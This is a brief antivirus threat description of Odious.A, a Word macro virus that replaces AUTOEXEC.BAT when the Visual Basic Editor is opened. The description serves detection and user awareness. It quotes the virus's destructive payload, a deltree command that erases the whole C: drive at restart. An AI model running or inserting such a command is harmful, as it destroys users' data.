Odious.A is a Word macro virus that contains a destructive payload.
Based on the settings of your F-Secure security product, it will either automatically delete, quarantine or rename the detected program or file, or ask you for a desired action.
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When a user opens Visual Basic Editor of Word Application the virus exits it and replaces the file C:\AUTOEXEC.BAT with the following:
Deltree c:\*.* /y" "echo Fu** you...."
On that way the virus tries to erase all the contents of the C:\ drive, next time when the system is restarted.